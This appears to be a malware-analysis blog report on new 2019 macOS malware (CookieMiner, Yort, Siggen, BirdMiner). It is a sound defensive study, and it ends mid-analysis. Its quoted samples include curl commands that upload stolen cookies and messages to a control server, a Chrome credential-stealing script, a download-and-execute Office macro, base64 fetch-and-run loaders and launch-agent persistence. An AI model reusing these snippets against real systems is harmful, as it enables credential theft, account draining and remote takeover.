The Mac Malware of 2019 đž
Archived: 2026-04-05 20:10:45 UTC
The Mac Malware of 2019 đž
a comprehensive analysis of the year's new malware
by: Patrick Wardle / January 1, 2020
Our research, tools, and writing, are supported by the "Friends of Objective-See" such as:
CleanMy Mac X
đ đž Want to play along?
All samples covered in this post are available in our malware collection. \
âŚjust make sure not to infect yourself!
ď¸ Printable
A printable (PDF) version of this report can be downloaded here:
[The Mac Malware of 2019.pdf](../downloads/MacMalware_2019.pdf)
\
â Background
Goodbye, 2019! and hello 2020 âŚa new decade! đĽł
For the fourth year in a row, Iâve decided to put together a blog post that comprehensively covers all the new Mac
malware that appeared during the course of the year. While the specimens may have been briefly reported on
before (i.e. by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover
all the new Mac malware of 2019 - in one place âŚyes, with samples of each malware for download!
In this blog post, we're focusing on new Mac malware specimens or new variants that appeared in 2019. Adware
and/or malware from previous years, are not covered.
However at the end of this blog, Iâve included a brief section dedicated to these other threats, that includes links to
detailed write-ups.
For each malicious specimen covered in this post, weâll identify the malwareâs:
Infection Vector
âŚhow it was able to infect macOS systems.
https://objective-see.com/blog/blog_0x53.html
Page 1 of 82
Persistence Mechanism
âŚhow it installed itself, to ensure it would be automatically restarted on reboot/user login.
Features & Goals
âŚwhat was the purpose of the malware? a backdoor? a cryptocurrency miner? etc.
Also, for each malware specimen, Iâve added a direct download link, in case you want to follow along with our
analysis or dig into the malware more!
\
ď¸ Malware Analysis Tools & Tactics
Throughout this blog, weâll reference various tools used in analyzing the malware specimens.
These include:
ProcessMonitor
Our user-mode (open-source) utility that monitors process creations and terminations, providing detailed
information about such events.
FileMonitor
Our user-mode (open-source) utility monitors file events (such as creation, modifications, and deletions)
providing detailed information about such events.
WhatsYourSign
Our (open-source) utility that displays code-signing information, via the UI.
lldb
The de-facto commandline debugger for macOS. Installed (to /usr/bin/lldb ) as part of Xcode.
Hopper Disassembler
A âreverse engineering tool (for macOS) that lets you disassemble, decompile and debug your
applicationsâ âŚor malware specimens!
If youâre interested in general Mac malware analysis techniques, check out the following resources:
âLets Play Doctor: Practical OSX Malware Detection & Analysisâ
âHow to Reverse Malware on macOS Without Getting Infectedâ
\
ď¸ Timeline
https://objective-see.com/blog/blog_0x53.html
Page 2 of 82
01/2019
A cryptominer that also steals user cookies and passwords, likely to give attackers access to victims online
accounts and wallets.
03/2019
A Lazarus group backdoor, targeting cryptocurrency businesses.
Siggen
04/2019
A macOS backdoor that downloads and executes (python) payloads.
BirdMiner
06/2019
A linux-based cryptominer, that runs on macOS via QEMU emulation.
Netwire
06/2019
A fully-featured macOS backdoor, installed via a Firefox 0day.
Mokes.B
06/2019
A new variant of OSX.Mokes , a fully-featured macOS backdoor.
https://objective-see.com/blog/blog_0x53.html
Page 3 of 82
GMERA
09/2019
A Lazarus group trojan that persistently exposes a shell to remote attackers.
Lazarus (unnamed)
10/2019
An (unnamed) Lazarus group backdoor.
Yort.B
11/2019
A new variant of Yort , a Lazarus group backdoor, targeting cryptocurrency businesses.
Lazarus Loader ( "macloader" )
12/2019
A Lazarus group 1st-stage implant loader that is able to executed remote payloads, directly from memory.
\
đž OSX.CookieMiner
CookieMiner is a cryptominer that also steals user cookies and passwords, likely to give attackers access to
victims online accounts and wallets.
https://objective-see.com/blog/blog_0x53.html
Page 4 of 82
Download: OSX.CookieMiner (password: infect3d )
Writeups:
âMac Malware Steals Cryptocurrency Exchangesâ Cookiesâ
âMac âCookieMinerâ Malware Aims to Gobble Crypto Fundsâ
Infection Vector: Unknown
Unit 42 (of Palo Alto Networks) who uncovered CookieMiner and wrote the original report on the malware,
made no mention the malwareâs initial infection vector.
However, a ThreatPost writeup states that:
"[Jen Miller-Osborn](https://twitter.com/jadefh), deputy director of Threat Intelligence for Unit 42, told
Threatpost that researchers are not certain how victims are first infected by the shell script, but they
suspect victims download a malicious program from a third-party store."
âŚas such, CookieMiner âs infection vector remains unknown. \
Persistence: Launch Agent
As noted in Unit 42's [report](https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/), `CookieMiner` persists two launch agents. This is performed during the first stage of the
infection, via a shell script named `uploadminer.sh`:
1...
2
3cd ~/Library/LaunchAgents
4curl -o com.apple.rig2.plist http://46.226.108.171/com.apple.rig2.plist
5curl -o com.proxy.initialize.plist http://46.226.108.171/com.proxy.initialize.plist
https://objective-see.com/blog/blog_0x53.html
Page 5 of 82
6launchctl load -w com.apple.rig2.plist
7launchctl load -w com.proxy.initialize.plist
The script, uploadminer.sh , downloads (via curl ), two property lists into the ~/Library/LaunchAgents
directory.
The first plist, com.apple.rig2.plist , persists a binary named xmrig2 along with several commandline
arguments:
1?xml version="1.0" encoding="UTF-8"?>
2
3 4 5 ProgramArguments 6 7 /Users/Shared/xmrig2 8 -a 9 yescrypt 10 -o 11 stratum+tcp://koto-pool.work:3032 12 -u 13 k1GqvkK7QYEfMj3JPHieBo1m... 14 15 RunAtLoad 16 17 Label 18 com.apple.rig2.plist 19 20 As the RunAtLoad key is set to true in the launch agent property list, the xmrig2 binary will be automatically
launched each time the user (re)logs in.
The second plist, com.proxy.initialize.plist , persists various inline python commands (that appear to execute
a base64 encoded chunk of data):
1?xml version="1.0" encoding="UTF-8"?>
2
3 4 5Label 6com.proxy.initialize.plist 7ProgramArguments 8 9python 10-c https://objective-see.com/blog/blog_0x53.html
Page 6 of 82
11import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode(
12 'aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml
13 ...
14 hcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));
15 16 17RunAtLoad 18 19 20 As the RunAtLoad key is set to true in this property list as well, the python commands will be automatically
(re)executed each time the user logs in.
Does this look familiar? Yes! In fact this is exactly how OSX.DarthMiner persisted. (We also covered
OSX.DarthMiner in our âThe Mac Malware of 2018â report).
This is not a coincidence, as (was noted in the Unit 42 report): â[ CookieMiner ] has been developed from
OSX.DarthMiner , a malware known to target the Mac platformâ
Capabilities: Cryptomining, Cookie/Password Stealing, Backdoor
CookieMiner is likely the evolution of OSX.DarthMiner .
In our âThe Mac Malware of 2018â report we noted that DarthMiner , persists the well known Empyre backdoor
(via the com.proxy.initialize.plist file) and a cryptocurrency mining binary named XMRig (via
com.apple.rig.plist ).
CookieMiner does this as well (though a 2 has been added to both the mining binary and plist):
XMRig -> xmrig2
com.apple.rig.plist -> com.apple.rig2.plist
The persistently installed Empyre backdoor allows remote attacks to run arbitrary commands on an infected host.
By examining the arguments passed to the persistent miner binary, xmrig2 it appears to be mining the Koto
cryptocurrency:
1ProgramArguments 2 3 /Users/Shared/xmrig2 4 -a 5 yescrypt 6 -o 7 stratum+tcp://koto-pool.work:3032 8 -u https://objective-see.com/blog/blog_0x53.html
Page 7 of 82
9 k1GqvkK7QYEfMj3JPHieBo1m...
10
The most interesting aspect of CookieMiner (and what differentiates it from OSX.DarthMiner ) is its propensity
for stealing! During their comprehensive analysis Unit 42 researchers highlighted the fact that CookieMiner
captures and exfiltrates the following:
(Browser) Cookies
(Browser) Passwords
iPhones messages (from iTunes backups)
The cookie, password, and message stealing capabilities are (likely) implemented to allow attackers to bypass 2FA
protections on victims online cryptocurrency accounts:
"_By leveraging the combination of stolen login credentials, web cookies, and SMS data, based on past
attacks like this, we believe the bad actors could bypass multi-factor authentication for these
[cryptocurrency] sites. \ \ If successful, the attackers would have full access to the victim's exchange
account and/or wallet and be able to use those funds as if they were the user themselves._" -Unit 42
The methods to steal such information, are not (overly) sophisticated, albeit sufficient.
For example, to steal cookies from Safari, CookieMiner simply copies the Cookies.binarycookies file from the
~/Library/Cookies directory, zips them up, and exfiltrates them to the attackerâs remote command & control
server ( 46.226.108.171 ):
1cd ~/Library/Cookies
2if grep -q "coinbase" "Cookies.binarycookies"; then
3mkdir ${OUTPUT}
4cp Cookies.binarycookies ${OUTPUT}/Cookies.binarycookies
5zip -r interestingsafaricookies.zip ${OUTPUT}
6curl --upload-file interestingsafaricookies.zip http://46.226.108.171:8000
Note though, the cookie file ( Cookies.binarycookies ) is only stolen if it contains cookies that are associated
with cryptocurrency exchanges (such as Coinbase & Binance).
The malware also extracts saved passwords and credit card information from Google Chrome, via a python script:
"_`CookieMiner` downloads a Python script named "`harmlesslittlecode.py`" to extract saved login
credentials and credit card information from Chrome's local data storage._" -Unit 42
1curl -o harmlesslittlecode.py http://46.226.108.171/harmlesslittlecode.py
2python harmlesslittlecode.py > passwords.txt 2>&1
1if __name__ == '__main__':
2 root_path = "/Users/*/Library/Application Support/Google/Chrome"
https://objective-see.com/blog/blog_0x53.html
Page 8 of 82
3 login_data_path = "{}/*/Login Data".format(root_path)
4 cc_data_path = "{}/*/Web Data".format(root_path)
5 chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path)
6 safe_storage_key = subprocess.Popen(
7 "security find-generic-password -wa "
8 "'Chrome'",
9 stdout=subprocess.PIPE,
10 stderr=subprocess.PIPE,
11 shell=True)
12 stdout, stderr = safe_storage_key.communicate()
13 ...
14 chrome(chrome_data, safe_storage_key)
Finally, CookieMiner attempts to locate and exfiltrate iPhone message files from any mobile backups (within
MobileSync/Backup ):
1cd ~/Library/Application\ Support/MobileSync/Backup
2BACKUPFOLDER="$(ls)"
3cd ${BACKUPFOLDER}
4SMSFILE="$(find . -name '3d0d7e5fb2ce288813306e4d4636395e047a3d28')"
5cp ${SMSFILE} ~/Library/Application\ Support/Google/Chrome/Default/${OUTPUT}
6
7...
8cd ~/Library/Application\ Support/Google/Chrome/Default/
9zip -r ${OUTPUT}.zip ${OUTPUT}
10curl --upload-file ${OUTPUT}.zip http://46.226.108.171:8000
Armed browser cookies, passwords, and even iPhone messages, the attacker may be able to access (and thus
potentially drain) victimsâ cryptocurrency accounts, even if 2FA is deployed! đŞđą
\
đž OSX.Yort
Yort is a Lazarus group (1st-stage?) implant, targeting cryptocurrency businesses.
https://objective-see.com/blog/blog_0x53.html
Page 9 of 82
Download: OSX.Yort (password: infect3d )
Writeups:
âCryptocurrency Businesses Still Being Targeted By Lazarusâ
âLazarus Apt Targets Mac Users With Poisoned Word Documentâ
âA Look into the Lazarus Groupâs Operations in October 2019â
\
Infection Vector: Malicious Office Documents
The SecureList report which details the attack and Yort malware, states that:
"The malware was distributed via documents carefully prepared to attract the attention of
cryptocurrency professionals." -SecureList
Analyzing the one of the malicious files ( ěí_기ě ěŹě
ęłíě(벤ě˛ę¸°ě
íę°ěŠ).doc ), we find embedded Mac-specific macro code:
1#If Mac Then
2 #If VBA7 Then
3
4 Private Declare PtrSafe Function system Lib "libc.dylib"
5 (ByVal command As String) ...
6
7 Private Declare PtrSafe Function popen Lib "libc.dylib"
8 (ByVal command As String, ByVal mode As String) As LongPtr
9
10 #Else
11
12 Private Declare Function system Lib "libc.dylib"
https://objective-see.com/blog/blog_0x53.html
Page 10 of 82
13 (ByVal command As String) As Long
14 Private Declare Function popen Lib "libc.dylib"
15 (ByVal command As String, ByVal mode As String) As Long
16
17 #End If
18#End If
19
20Sub AutoOpen()
21On Error Resume Next
22#If Mac Then
23
24 sur = "https://nzssdm.com/assets/mt.dat"
25 spath = "/tmp/": i = 0
26 Do
27 spath = spath & Chr(Int(Rnd * 26) + 97): i = i + 1
28 Loop Until i > 12
29
30 spath = spath
31
32 res = system("curl -o " & spath & " " & sur)
33 res = system("chmod +x " & spath)
34 res = popen(spath, "r")
35
36 ...
If a Mac user opens the document in Microsoft Office and enables macros, these malicious macros will be
automatically executed (triggered via the AutoOpen() ) function.
The macro logic:
downloads a file from https://nzssdm.com/assets/mt.dat (via curl ) to the /tmp/ directory
sets its permissions to executable (via chmod +x )
executes the (now executable) downloaded file, mt.dat (via popen )
For more details on the malicious macros in this attack, see @philofishalâs writeup:
["Lazarus Apt Targets Mac Users With Poisoned Word Document"](https://www.sentinelone.com/blog/lazarus-apt-targets-mac-users-poisoned-word-document/)
Persistence: None
It does not appear that (this variant) of OSX.Yort persists itself. However, as a light-weight 1st-stage implant,
persistence may not be needed, as a noted in an analysis titled, âA Look into the Lazarus Groupâs Operations in
October 2019â:
https://objective-see.com/blog/blog_0x53.html
Page 11 of 82
"The malware doesn't have a persistence, but by the fact that [it] can execute [any] command, the
attacker can decide push a persistence if this necessary"
Capabilities: 1st-stage implant, with standard backdoor capabilities.
Yort (likely a 1st
-stage implant), supports a variety of âstandardâ commands, such as file download, upload, and
the execution of arbitrary commands.
Using macOSâs built-in file utility, shows that mt.dat is a standard 64-bit macOS (Mach-O) executable.
$ file Yort/A/mt.dat
Yort/A/mt.dat: Mach-O 64-bit executable x86_64
The strings command (executed with the -a flag) can dump (ASCII) strings, that are embedded in the binary.
In OSX.Yort âs case these strings are rather revealing:
$ strings -a Yort/A/mt.dat
cache-control: no-cache
content-type: multipart/form-data
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.1
file
/bin/bash -c "
" >
/tmp/
2>&1
https://towingoperations.com/chat/chat.php
https://baseballcharlemagnelegardeur.com/wp-content/languages/common.php
https://www.tangowithcolette.com/pages/common.php
It is easy to confirm that the embedded URLs are malwareâs actual command and control servers, as when
executed (in a VM), the malware attempts to connect out to (one of) these addresses for tasking:
$ ./mt.dat
* Trying 69.195.124.206...
* Connected to baseballcharlemagnelegardeur.com (69.195.124.206) port 443 (#0)
* SSL certificate problem: certificate has expired
* stopped the pause stream!
* Closing connection 0
https://objective-see.com/blog/blog_0x53.html
Page 12 of 82
Another static analysis tool, nm can dump embedded symbols (such as method names, and imported (system)
functions):
$ nm Yort/A/mt.dat
...
00000001000010f0 T _MainLoop
0000000100001810 T _RecvBlockData
00000001000019d0 T _RecvBlockDataUncrypt
00000001000018f0 T _RecvBlockDataWithLimit
0000000100001a40 T _RecvBlockDataWithLimitUncrypt
0000000100002460 T _ReplyCmd
0000000100002360 T _ReplyDie
00000001000033c0 T _ReplyDown
0000000100003e20 T _ReplyExec
0000000100004180 T _ReplyGetConfig
0000000100002150 T _ReplyKeepAlive
0000000100002c20 T _ReplyOtherShellCmd
0000000100003fd0 T _ReplySessionExec
0000000100004410 T _ReplySetConfig
0000000100002240 T _ReplySleep
0000000100001f50 T _ReplyTroyInfo
0000000100003900 T _ReplyUpload
U _curl_easy_cleanup
U _curl_easy_init
U _curl_easy_perform
U _curl_easy_setopt
U _curl_formadd
U _curl_formfree
U _curl_global_cleanup
U _curl_global_init
U _curl_slist_append
U _curl_slist_free_all
U _fork
U _fwrite
U _kill
U _unlink
U _waitpid
From this output, it seems reasonable to assume that the malware supports a variety of commands that are fairly
common in first-stage implants and/or lightweight backdoors.
ReplyCmd : execute commands?
ReplyDie : kill implant?
ReplyOtherShellCmd : execute shell command?
https://objective-see.com/blog/blog_0x53.html
Page 13 of 82
ReplyDown : download a file?
ReplyUpload : upload a file?
etcâŚ
And references to the curl_* APIs likely indicate that the malware implements its networking logic via
libcurl .
Debugging the malware (via lldb ) confirms that indeed the malware is leveraging libcurl . Here for example
we see the malware setting the url of its command and control server ( baseballcharlemagnelegardeur.com ) via
the curl_easy_setopt function with the CURLOPT_URL ( 10002 ) parameter:
$ lldb mt.dt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff7d446b9b libcurl.4.dylib`curl_easy_setopt
(lldb) p $rsi
(unsigned long) $1 = 10002
(lldb) x/s $rdx
0x1000052a8: "https://baseballcharlemagnelegardeur.com/wp-content/languages/common.php"
The malware then connects to the specified server, via the curl_easy_perform function.
If the malware receives a response (tasking) from the command and control server, it will act upon said response
(via switch statement, or jumptable ). The logic that implements delegation of the received commands is found
at address 0x0000000100004679 within the malwareâs binary:
1cmp eax, 17h ; switch 24 cases
2ja loc_100004A6D ; jumptable 0000000100004693 default case
3lea rcx, off_100004B60
4movsxd rax, dword ptr [rcx+rax*4]
5add rax, rcx
6mov rbx, r15
7jmp rax ; switch jump
For example for case #19, the malware will execute the ReplyDown command:
1mov ecx, 801h ; jumptable 0000000100004693 case 19
2mov rdi, rsp
3lea rsi, [rbp-85A8h]
4rep movsq
5mov eax, [rbp-45A0h]
https://objective-see.com/blog/blog_0x53.html
Page 14 of 82
6mov [rsp+4008h], eax
7call _ReplyDown
Digging into the disassembly of the ReplyDown command, shows that the malware will invoke functions such as:
fopen with the rb (âread binaryâ) parameter
fread
fclose
This (brief) static analysis indicates this method will download a file, from the infected machine to the server.
Another example is #case 22, which calls into the ReplyExec function.
1mov ecx, 801h ; jumptable 0000000100004693 case 22
2mov rdi, rsp
3lea rsi, [rbp-85A8h]
4rep movsq
5mov eax, [rbp-45A0h]
6mov [rsp+4008h], eax
7call _ReplyExec
The ReplyExec function, as its names implies, will executed perhaps a command or file uploaded to the client
from the server:
1int _ReplyExec(int arg0, int arg1, ...) {
2
3 ...
4
5 rax = fork();
6 if (rax == 0x0)
7 {
8 system(&var_4580);
9 rax = exit(0x0);
10 return rax;
11 }
Similar analysis of the other Reply* commands confirm their rather descriptive names, match their logic.
For more details on the capabilities of mt.data, see:
["A Look into the Lazarus Group's Operations in October 2019"]
(https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/North%20Korea/APT/Lazarus/23-10-
19/analysis.md#OSX)
\
https://objective-see.com/blog/blog_0x53.html
Page 15 of 82
đž OSX.Siggen
Siggen, packaged in a fake WhatsApp application, is a persistent backdoor that allows remote attackers to
download and execute (python) payloads.
Download: OSX.Siggen (password: infect3d )
Writeups:
âMac.BackDoor.Siggen.20â
âmacOS Malware Outbreaks 2019 | The First 6 Monthsâ
\
Infection Vector: Trojaned (fake) WhatsApp Application
âPhishing AIâ @phishingai, stated the following in a tweet:
"_This @WhatsApp #phishing/drive-by-download domain `message-whatsapp[.]com` \ \ ...is delivering
malware via an iframe. The iframe delivers a custom response depending on the device detected. Mac
malware is delivered via a zip file with an application inside._"
A screen capture from @phishingaiâs tweet of the malicious message-whatsapp.com website, shows how users
could be tricked into manually downloading and installing what they believe is the popular WhatsApp messaging
application: \
https://objective-see.com/blog/blog_0x53.html
Page 16 of 82
The download is a zip archive named WhatsAppWeb.zip âŚthat (surprise, surprise) is not WhatsApp, but rather an
application named WhatsAppService \
The WhatsAppService application:
is unsigned
https://objective-see.com/blog/blog_0x53.html
Page 17 of 82
has an PDF icon
has a main binary named DropBox
Will users be tricked into running this? âŚand manually work thru the Gatekeeper alerts (as the app is unsigned)?
Apparently so! đ¤ˇââď¸ \
Persistence: Launch Agent
If the user is tricked into downloading and running the WhatsAppService application it will persistently install a
launch agent.
The WhatsAppService was built using Platypus. This legitimate developer tool creates a standalone app, from a
script:
"_Platypus is a developer tool that creates native Mac applications from command line scripts such as
shell scripts or Python, Perl, Ruby, Tcl, JavaScript and PHP programs. This is done by wrapping the
script in a macOS application bundle along with an app binary that runs the script._" -
sveinbjorn.org/platypus
Itâs rather popular with (basic) Mac malware authors who are sufficient are creating malicious scripts, but want to
distributer their malicious creations as native macOS applications.
For example both OSX.CreativeUpdate and OSX.Eleanor utilized Platypus as well:
https://objective-see.com/blog/blog_0x53.html
Page 18 of 82
When a âplatypusâ applications is executed, it simple runs a file named script from within the appâs
Resources directory.
Taking a peek at the WhatsAppService.app/Resources/script file, we can see it persists a launch agent named
a.plist :
1//Resources/script
2
3echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh
4curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist
5echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh
6launchctl load -w ~/Library/LaunchAgents/a.plist
7curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh
https://objective-see.com/blog/blog_0x53.html
Page 19 of 82
8echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh
9echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh
Specifically it executes the following: curl -s http://usb.mine.nu/a.plist -o
~/Library/LaunchAgents/a.plist
The a.plist (that is downloaded from http://usb.mine.nu/ ) executes the /Users/Shared/c.sh file:
1?xml version="1.0" encoding="UTF-8"?>
2
3 4 5 EnvironmentVariables 6 7 PATH 8 /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin: 9 10 KeepAlive 11 12 Label 13 com.enzo 14 Program 15 /Users/Shared/c.sh 16 RunAtLoad 17 18 19 The c.sh file is (also) downloaded via the WhatsAppService.app/Resources/script : curl -s
http://usb.mine.nu/c.sh -o /Users/Shared/c.sh
As the RunAtLoad key is set to true in the a.plist every time the user logs in, c.sh will be automatically
(re)executed.
Capabilities: Persistent Backdoor (download & execute (python) payloads).
Recall the WhatsAppService.app/Resources/script is ran when the user launches WhatsAppService.app . Letâs
break down each line of this script:
1. echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh
Decodes and executes screen -dm bash -c 'sleep 5;killall Terminal' which effectively kills any
running instances of Terminal.app
\
https://objective-see.com/blog/blog_0x53.html
Page 20 of 82
2. curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist
As noted, downloads and persists a.plist as a launch agent.
\
3. echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh
Decodes and executes chmod +x ~/Library/LaunchAgents/a.plist which (unnecessarily) sets a.plist
to be executable.
\
4. launchctl load -w ~/Library/LaunchAgents/a.plist
Loads a.plist which attempts to executes /Users/Shared/c.sh . However, (the first time this is run),
/Users/Shared/c.sh has yet to be downloadedâŚ
\
5. curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh
Downloads c.sh to /Users/Shared/c.sh
\
6. echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh
Decodes and executes chmod +x /Users/Shared/c.sh which sets c.sh to be executable
\
7. echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh
Decodes and executes /Users/Shared/c.sh
And what does /Users/Shared/c.sh do?
1//Users/Shared/c.sh
2
3#!/bin/bash
4v=$( curl --silent http://usb.mine.nu/p.php | grep -ic 'open' )
5p=$( launchctl list | grep -ic "HEYgiNb" )
6if [ $v -gt 0 ]; then
7if [ ! $p -gt 0 ]; then
8echo IyAtKi0gY29kaW5n...AgcmFpc2UK | base64 --decode | python
9fi
10fi
After connecting to usb.mine.nu/p.php and checking for a response containing the string "open" and checking
if a process named HEYgiNb is running, script decodes a large blog of base64 encoded data. This decoded data is
then executed via python.
After decoding the data, as expected, it turns out to be a python code:
1# -*- coding: utf-8 -*-
2import urllib2
3from base64 import b64encode, b64decode
4import getpass
5from uuid import getnode
https://objective-see.com/blog/blog_0x53.html
Page 21 of 82
6from binascii import hexlify
7
8def get_uid():
9 return hexlify(getpass.getuser() + "-" + str(getnode()))
10
11LaCSZMCY = "Q1dG4ZUz"
12data = {
13 "Cookie": "session=" + b64encode(get_uid()) + "-eyJ0eXBlIj...ifX0=",
14 "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chro
15}
16
17try:
18 request = urllib2.Request("http://zr.webhop.org:1337", headers=data)
19 urllib2.urlopen(request).read()
20except urllib2.HTTPError as ex:
21 if ex.code == 404:
22 exec(b64decode(ex.read().split("DEBUG:\n")[1].replace("DEBUG-->", "")))
23 else:
24 raise
This (decoded) python code matches the HEYgiNb file described in DrWebâs analysis
(âMac.BackDoor.Siggen.20â). (Also recall the c.sh checks for the presence of a process named HEYgiNb ).
We can also locate this file on VirusTotal: HEYgiNb.py . and note that it is flagged by multiple engines:
https://objective-see.com/blog/blog_0x53.html
Page 22 of 82
Taking a closer look at this python code ( HEYgiNb ), we see the Cookie parameter contains (more) base64
encoded data, which we can decode:
{"type": 0, "payload_options": {"host": "zr.webhop.org", "port": 1337}, "loader_options": {"payload_filename":
Following a request to http://zr.webhop.org on port 1337 , the python code base64 decodes and executes data
extracted from the serverâs ( 404 ) response: \
`exec(b64decode(ex.read().split("DEBUG:\n")[1].replace("DEBUG-->", "")))`.
Unfortunately the server http://zr.webhop.org is no longer serving up this final-stage payload. However,
@philofishal notes that: âFurther analysis shows that the script leverages a public post exploitation kit,
Evil.OSX to install a backdoor.â
âŚand of course, the attackers could swap out the python payload (server-side) anytime, to execute whatever they
want on the infected systems!
https://objective-see.com/blog/blog_0x53.html
Page 23 of 82
\
đž OSX.BirdMiner ( OSX.LoudMiner )
BirdMiner (or LoudMiner) delivers linux-based cryptominer, that runs on macOS via QEMU emulation.
Download: OSX.BirdMiner (password: infect3d )
Writeups:
âNew Mac cryptominer Malwarebytes detects as Bird Miner runs by emulating Linuxâ
âLoudMiner: Crossâplatform mining in cracked VST softwareâ
\
Infection Vector: Pirated Applications
`BirdMiner` was distributed via pirated (cracked) applications on the the "VST Crack" website. Thomas Reed
([@thomasareed](https://twitter.com/thomasareed)) the well-known Mac malware analyst and author of the ["New
Mac cryptominer... Bird Miner"](https://blog.malwarebytes.com/mac/2019/06/new-mac-cryptominer-malwarebytes-detects-as-bird-miner-runs-by-emulating-linux/) writeup, states:
"Bird Miner has been found in a cracked installer for the high-end music production software Ableton
Live" -Thomas Reed
ESET, who also analyzed the malware, discussed its infection mechanism as well. Specifically their research
uncovered almost 100 pirated applications all related to digital audio / virtual studio technology (VST) that, (like
the cracked Ableton Live software package) likely contained the BirdMiner malware.
Of course, users who downloaded and installed these pirated applications, would become infected with the
malware.
https://objective-see.com/blog/blog_0x53.html
Page 24 of 82
It should be noted that the downloaded package ( Ableton Live Suite 10.1.pkg ) is unsigned, thus will be
blocked by macOS:
Rather amusingly though, an Instructions.txt file explicitly tells user how to (manually) sidestep this:
Important note: If you receive the following message:
"Can't be opened because it is from an unidentified developer."
Go into: "System Preferences" > "Security and Privacy" > "General" and "Allow" the installation with "Open Anywa
Persistence: Launch Daemons
One of the pirated applications that is infected with OSX.BirdMiner is Ableton Live, âa digital audio workstation
for macOSâ. The infected application is distributed as a standard disk image; Ableton.Live.10.Suite.v10.1.dmg
When the disk image is mounted and the application installer ( Ableton Live Suite 10.1.pkg ) is executed it will
first request the userâs credentials:
https://objective-see.com/blog/blog_0x53.html
Page 25 of 82
Now, with root privileges BirdMiner can persists several launch daemons. This can be passively observed by via
Objective-Seeâs FileMonitor utility:
{
"event": "ES_EVENT_TYPE_NOTIFY_CREATE",
"timestamp": "2019-12-03 06:36:21 +0000",
"file": {
"destination": "/Library/LaunchDaemons/com.decker.plist",
"process": {
"pid": 1073,
"path": "/bin/cp",
"uid": 0,
"arguments": [],
"ppid": 1000,
"ancestors": [1000, 986, 969, 951, 1],
"signing info": {
"csFlags": 603996161,
"signatureIdentifier": "com.apple.cp",
"cdHash": "D2E8BBC6DB7E2C468674F829A3991D72AA196FD",
"isPlatformBinary": 1
}
}
}
}
...
{
"event": "ES_EVENT_TYPE_NOTIFY_CREATE",
"timestamp": "2019-12-03 06:36:21 +0000",
"file": {
"destination": "/Library/LaunchDaemons/com.tractableness.plist",
"process": {
"pid": 1077,
"path": "/bin/cp",
"uid": 0,
"arguments": [],
"ppid": 1000,
"ancestors": [1000, 986, 969, 951, 1],
"signing info": {
"csFlags": 603996161,
"signatureIdentifier": "com.apple.cp",
"cdHash": "D2E8BBC6DB7E2C468674F829A3991D72AA196FD",
"isPlatformBinary": 1
}
}
https://objective-see.com/blog/blog_0x53.html
Page 26 of 82
}
}
\
The names of the property lists (com.decker.plist, com.tractableness.plist) and the names of the files they persist
are randomly generated. See ["New Mac cryptominer... Bird Miner"]
(https://blog.malwarebytes.com/mac/2019/06/new-mac-cryptominer-malwarebytes-detects-as-bird-miner-runs-by-emulating-linux/) for more details.
The com.decker.plist launch daemon persists a file named vicontiel (placed in /usr/local/bin/ ):
# defaults read /Library/LaunchDaemons/com.decker.plist
{
KeepAlive = 1;
Label = "com.decker.plist";
ProgramArguments = (
"/usr/local/bin/vicontiel"
);
RunAtLoad = 1;
}
Similarly, the com.tractableness.plist launch daemon persists a file named Tortulaceae (again, in
/usr/local/bin/ ):
# defaults read /Library/LaunchDaemons/com.tractableness.plist
{
KeepAlive = 1;
Label = "com.tractableness.plist";
ProgramArguments = (
"/usr/local/bin/Tortulaceae"
);
RunAtLoad = 1;
}
\
As RunAtLoad is set to 1 (true) in both property list files, the persisted files ( vicontiel , and Tortulaceae )
will be automatically (re)launched by the OS each time the infected system is restarted.
Capabilities: Cryptomining
Both files ( vicontiel , and Tortulaceae , though recall these names are randomly generated), are bash scripts:
https://objective-see.com/blog/blog_0x53.html
Page 27 of 82
# file /usr/local/bin/vicontiel
/usr/local/bin/vicontiel: Bourne-Again shell script text executable, ASCII text
The vicontiel script will either unload the com.tractableness.plist launch daemon if the user has Activity
Monitor running (likely for stealth reasons), or if not, will load the plist:
# less /usr/local/bin/viridian
...
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.tractableness.plist
sleep 900
else
launchctl load -w /Library/LaunchDaemons/com.tractableness.plist
fi
The Tortulaceae (executed by the com.tractableness.plist ) will similarly unload the plist if Activity
Monitor is running. However, if not, it will execute the following: /usr/local/bin/voteen -m 3G -accel
hvf,thread=multi -smp cpus=2 --cpu host /usr/local/bin/archfounder -display none
As noted by Thomas Reed in his writeup, /usr/local/bin/voteen , is actually the open-source emulator QEMU!
$ strings -a /usr/local/bin/voteen
